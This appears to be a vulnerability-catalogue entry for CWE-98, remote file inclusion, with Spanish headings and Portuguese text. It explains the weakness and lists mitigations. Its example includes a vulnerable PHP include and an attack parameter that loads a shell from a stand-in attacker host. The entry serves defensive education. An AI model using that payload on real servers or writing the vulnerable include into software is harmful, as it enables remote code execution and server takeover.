Fallos del tipo CWE-98

1355 resultados

Inclusão Remota de Arquivo

Fraqueza onde a aplicação inclui ou executa um arquivo cujo caminho é controlado (total ou parcialmente) por um atacante, frequentemente via parâmetros GET/POST. Se o servidor não valida a origem, um atacante pode fazer a aplicação carregar código malicioso de um servidor externo, levando a execução arbitrária com privilégios da app.

Ejemplo

Um PHP com `include($_GET['page'].'.php')` onde o atacante passa `page=http://atacante.com/shell` acaba incluindo e executando um script malicioso hospedado remotamente, concedendo acesso total ao servidor.

Cómo mitigar

Valide e normalize qualquer entrada de usuário antes de usar em include/require; use uma whitelist de arquivos permitidos; desabilite `allow_url_include` no PHP; implemente controle de acesso e isolamento de sessão. Nunca confie em entrada externa para construir caminhos de arquivo.

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